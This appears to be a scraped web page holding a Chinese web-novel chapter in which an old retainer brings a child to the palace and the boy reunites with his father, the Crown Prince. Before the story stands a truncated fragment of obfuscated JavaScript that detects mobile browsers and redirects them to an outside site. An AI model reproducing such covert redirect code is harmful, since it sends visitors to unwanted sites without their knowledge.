l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174289|148433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >对太子来说,见到安儿是大喜事一桩。 可对他来说,大概是要杀头的节奏。 上午,得了信儿的秦叔便抱着安儿和阿姹一起进宫。 路上,他瞧着不太对劲。 宫里的守卫似乎变多了。 全副武装,来来回回的,令人心生不安。 拐到一条路上,他看到了一道熟悉的身影。 便试探地喊了声:“梁将军?” 梁将军闻声顿住步子,仔细扫看两眼,并不认识。遂板着面孔问:“你们是何人?” 秦叔常在江湖行走,识得人多。 梁将军威名在外,他能认出也属正常。 秦叔忙道:“梁将军,我是侯府夫人派来的。” 一提侯府夫人,梁将军眼睛瞪了起来。 他能在外顺利征战,其中功劳当属侯府夫人。 他自然是不敢忘。 他面色严肃:“可是侯夫人有何事?” 秦叔往前近了步,压低声音道:“我是来为太子殿下解围的。还望梁将军助力,让我和这孩子进到大殿。” 他一早往宫里来的时候,知道是要举行赏树大宴。 所以着急忙慌的,生怕来得晚了。 即便人在宫中了,秦叔也怕不能及时见到安成。 是以看到梁将军便如同看到了救星一般。 梁将军这才看到秦叔怀里瞪着一双好奇的眼睛正四处乱看的孩子,他蹙眉,“这哪里来的孩子?” 待看清孩子的面容,他表情倏然顿住:“这,这是谁的孩子,怎地长得这么像……” 太子两字到了嘴边,被他生生咽了回去。 “梁将军,事情紧急,不便解释,能否请您带着老朽与这孩子去见太子?” “太子今日事务繁忙,怕是……” 马上宫变,血流成河之际,太子怕是没有时间和心绪去见一个陌生的孩子。 “梁将军,这是十万火急的事情……” “他是谁的孩子?”梁将军视线胶在安儿的脸上,“你只要说他是谁的孩子,我马上带他去见太子殿下。” 秦叔嘴唇蠕动,小声吐出三个字:“太子的。” 梁将军眸色亮了下,“确定?” 秦叔:“千真万确。” “你如果说谎,本将军必会砍了你的头。” “我以项上人头作保,若有假,任梁将军处置。” 阿姹这会儿也晓悟过来,她朝梁将军拱手:“奴婢和这位秦叔,的确是侯夫人派来的。” 梁将军知晓太子将姹紫嫣红四位女侍赐给了侯府夫人。 闻言心中信了大半。 他盯着肖似太子的那张小脸看了一会儿,小心抱起孩子,大步流星往大殿赶。 推开殿门,他刚走了两步,怀中的安儿突然就挣扎起来。 清脆的声音突兀响起。 “爹爹!” 呼唤声吓了梁将军一跳。 回过神来,他轻轻放下了孩子。 任凭他摇摇晃晃奔向太子。 小小的身影,坚定不移地跑向太子胥宸,一声一声地唤他“爹爹”。 饶是铁血男儿的梁将军,也不由得红了眼眶。 他一心守护的主子,终于拨开云雾,见到了太阳。 不必浪费一兵一卒,不必血流成河。 安然度过了难关。